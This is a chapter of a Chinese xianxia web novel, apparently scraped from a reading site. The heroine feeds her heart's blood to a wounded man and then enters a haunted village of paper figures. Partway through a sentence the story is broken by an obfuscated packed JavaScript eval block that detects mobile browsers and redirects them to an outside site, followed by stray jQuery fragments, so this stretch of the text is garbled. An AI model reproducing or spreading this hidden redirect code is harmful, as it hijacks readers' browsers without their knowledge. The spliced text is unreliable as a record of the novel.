37. 纸人村

作品:《全宗门都知道我是恶毒女配

    “就这?”


    祝仙纤自嘲地笑出声,“命这么不值钱?还是我高看你了。”


    慕行春不与她计较,她更好奇这个一步登天是怎么个一步法,是吃了以后直接称霸世界还是摇身一变让他们大吃一惊的天才,她兴致冲冲地问:“敢问这个捷径有捷径?”


    祝仙纤不怀好意地笑笑,“只要你将心头血喂给他,这小子修习起来将会比旁人快百倍,你再——”她做了一个抹脖子的动作,“杀了他,这份修为自然而然就归你的了。”


    “从今往后,天大地大任你逍遥,谁敢成为你的对手?”她严谨地加了一句,“除了那些老不死的。”


    慕行春了然的点点头,提出了一个致命的bug,“请问他都修习到天下无敌那份上了,我还怎么杀他?”


    她勾唇清浅一笑,等待祝仙纤会憋出什么惊天动地的屁话。


    “这就是上天对你们的考验,不归我管。”


    哈哈,慕行春简直想抽死面前的人,搞了半天,这药丸除了把两条命绑一块,其余的毫无作用啊!


    祝仙纤一眼就看出了慕行春脸上轻蔑的无语,她狡辩道:“还是有点用的,你喂完血他的伤不就好了,算是分走了你的一半命。”


    我谢谢你,勾走我半条命管这叫好事。


    “那要是他杀了我呢?也分走我的修为吗?”


    “你?”似乎是察觉到自己语气中的嘲笑过于明显,她赶忙转换语气,“自然,乘您所说,您生前拥有的一切都将归床上这位残血人所有。”


    她灵光一闪,“欸!你与他一同修习,只要他的修为低于你你不就可以轻而易举地杀了他,纵使他比不上你,可蚂蚁再小也是肉。”


    慕行春为她这天才一般的想法拍手叫好,连连称赞。她煞费苦心地救活水玉堂就是为了来日杀了他,这话要说出去,不得被吊在城墙上当邪修晾干都算好的。


    “佩服佩服。”


    “过奖过奖。”


    慕行春一把推开祝仙纤,一脸严肃,仿佛要做一件足以改天换地的大事,眉目中都隐隐透着刚毅,阿寒屏息敛声,生怕自己的呼吸惊扰了这一肃静的场面。


    祝仙纤顺势递上一把刀,阿寒定睛瞧去,那是一把银色的短刀,锋利的闪着幽光,细薄的恍若纸片,若不是它刺入肌肤时,将血肉形同虚设,阿寒定会以为这把刀柔弱无骨,轻轻一折就能听见清脆的叮铃断裂声。


    刀柄上刻着复杂的花纹,一路蜿蜒向下,清晰地映出慕行春泰然自若的表情。


    一滴血滴入水玉堂微微张开的口中。


    水玉堂幽幽转醒,刚睁眼他就对上了一张急切的脸,在看见他醒来后,苍白的唇才稍微有了点血色,朝两边展开。


    他不可避免的被那一片血红吸引过去,登时心头一震,口中还残留着血腥的铁锈味。她……是为了救我吗?为了仅仅初相识的人,难不成她真是神仙?


    水玉堂喉咙颤抖,似有千言万语要说,目光再次触及到那张关怀备至的脸,柔软的感觉席卷他全身。第一次,真的有人在乎我,关心我,不论我是何处境。


    他心中那颗原本被乌云遮蔽的太阳,那颗变得黯淡无神的太阳,此刻如旭日朝生,灿烂夺目的光辉照耀到每一寸濒临死亡的土地,将萎靡颓废的草木带去隐隐生机。


    他凭着满头的欢喜抬起手,想触碰,可下一秒,就被重重压下,掖进杯子里,“这天多冷啊,放被子里。”


    “好。”


    这声虚弱的回应被稍大一点的风一吹就听不见了,好在船内寂静无声,三人都听了个真切。


    “他活了,你的承诺。”


    水玉堂焦急出声:“什么承、咳咳。”


    慕行春叹道:“没什么,你安心休息吧,否则我不就白费了一番心。”


    她将被子又往上提了提,现在镇定下来反而更迷茫了。不争气地想,他可是水玉堂,小说中顶顶重要的男二,还得走剧情给女主奉上形影珠,老天爷怎么会会让他死的,最多多吃点苦,你又何必忙这忙那的关心?


    但又转念一想,对啊,全书只有他知道形影珠在哪,我这都是为了慕行春将来凄苦的下场所做出的努力!


    离开前慕行春又叮嘱道:“等你好了就跟我一块修习,快快长大。”


    祝仙纤怪异地看了她一眼,靠近她,戏谑地轻声问:“你不是下不去手吗?”


    不出意外地得到了一记瞪眼。


    琢水村依旧灯光璀璨,黑云压顶,浓厚的雾气将他们团团笼罩,呛鼻的干柴味窜进喉咙里,他们却视若无睹,如同死寂一般面无表情,寒风吹过,影影约约现出人形。


    三人再次来到村口前,那块映其地名的木牌上一笔一划细长又间断,恍若是个疯癫的人趴在这里,用细长的指甲一遍又一遍的抠出来,再将血迹和皮肉一点一点清洗干净。


    慕行春光想想就觉得脑门疼,她努力将眼睛睁大,想让自己看起来充满正气,让那些妖魔鬼怪都不敢靠近。


    系统,这里不闹鬼吧?


    【没有告知义务。】


    行,有道是先下手为强,后下手遭殃,机会还是要靠自己把握住。慕行春睨了祝仙纤一眼,尽量让自己的目光看起来轻蔑十足,她淡淡问:“你不会害怕吧?”


    果然,祝仙纤秒答,“怎么可能,我看是你害怕吧?”


    “对,我害怕,”说完,她往祝仙纤身后一躲,“你不害怕你先上。”


    你行你上,我不行我打杂。


    “实话告诉你吧,临行前有位大师给我们算了一卦,这妖只能你除,旁人都不行,否则天下大乱!”


    切,慕行春冷哼一声,这次是发自内心的蔑视,“刚不还说是你们什么师尊算的,怎么又变成大师了?”


    祝仙纤一愣,思索片刻后辩解道:“差不多差不多,内容没变就行。”


    “你连我名都不知道,就笃定我是那个命定之人,不觉得好笑吗?”她发自肺腑地发出疑问,她觉得蛮好笑的,不过现在不敢笑。


    一语毕,她偏过头朝正前方看过去,排列整齐的纸人提着灯笼等她们进去,一个个惨白如石灰,这要是突然挂下来一条腥红的长舌头,谁还分得清鬼和妖?


    我要是转头就跑,她能怎么样?慕行春眼波流转,歪脑筋一堆,叠的比山高。


    “呵——”


    “我笑了,你现在可以进去了,”山中古树成林,黑压压一片,祝仙纤的话比之夜间泉水还要凉上三分,如鬼魅突降,带着漫天阴气,蒙住人全身,“大师只说由你来亲手杀


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975670|193350||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了那妖物,没说要活的还是死的。”


    我死了还怎么杀,心里头是这么想的,可面上还是马上展开笑颜,“我去,我马不停蹄的去,刻不容缓地杀。”


    少情被她这没志气的模样气得发出鸣动,慕行春差点握不住它,强颜欢笑地说:“你看,我都剑都等不及了。”


    祝仙纤得意地推了一把,“那就请吧。”


    推什么推,瞎了看不见我有腿嘛,推坏了摔了看你怎么交差,不对,死的也行,臭不要脸的大师,有这本事自己来杀好了,我看也就是个半吊子……


    慕行春自顾自的在心里头念叨个没完,越想越有劲,心口燃烧起一团名为愤怒的小火苗,虽然小但是在她铮铮有词的加强下,愈烧愈旺,直接窜到双颊上,红了一片。


    她脚底生风,刷刷刷地就穿过了好几个纸人,恨不得趁现在脑子不清醒的时候将那胁迫她的妖物砍个七零八落,那才叫痛快!


    阿寒崇拜道:“大仙,你好英勇。”


    慕行春谦虚笑笑,谢谢夸奖,虽然我还什么都没干。但是这种干啥都有人崇拜的感觉真好。


    祝仙纤则是一脸警惕,“你吃药了突然这么有劲?”


    “说什么呢你!”她鄙夷地别过头,像是看到什么脏东西。


    祝仙纤:……


    她不甘心地小声回怼,“我说什么了我,心地肮脏的人听什么都龌龊。”


    两人指桑骂槐的又走了一路,除了视觉上的震颤和心灵上的害怕,还未碰到什么实质上的伤害。弄得慕行春一颗心吊在半空,晃了又晃,底下是万丈深渊,究竟布满荆棘还是水流还未知。


    站满了人的村庄,寂静的呼吸可闻。


    “都还没碰上你这么紧张。”


    慕行春正全神贯注地观察四周,被吓得一激灵,“你能别突然说话嘛,况且我这是敬业,不叫紧张。”


    “仙纤姐,你们不要吵架,声音太多我都听不清你们的话了。”


    “哪来的多,你都听见什么了?”慕行春闻言,从头凉到尾。


    阿寒懵懂地说:“好多声音啊,村民们都在喊疼,大仙你听不到吗?”


    祝仙纤面色一凝,环顾一圈,面色阴沉地能下暴雨,她凭空变出一条绳子,通体泛着灵光,一头寄在她手上,另一头牢牢绑在阿寒这,绳子感受到宿体,自然收紧。


    不知是不是慕行春的错觉,她觉着周围的空气越来越稀薄而且更冷了,那些村民好像有那么一瞬,朝她们看过来,数百双眼睛都在盯着她们。


    她不禁问:“你有没有觉得怪怪的?”


    祝仙纤不以为然道:“废话,不怪我们还用得着过来。”


    你字多,你有理。


    “啊啊啊!”


    阿寒捂住耳朵,痛苦地喊出声,尖锐的声音彻底打破了琢水村的宁静。


    “阿寒!”慕行春伸出手想拉住阿寒,可她消失的太快,那妖物仿佛是凌空而来,只稍一瞬间,在她还未看清是什么东西,就连带祝仙纤也一同消失在了原地。


    此时此刻,现场只剩慕行春,还有成堆的纸人。


    她绝望地跟纸人一样,站定不动,面如死灰,内心疯狂哀嚎,“那绳子多绑一个人会死吗!何必留我一个,真把我当救世主了?!”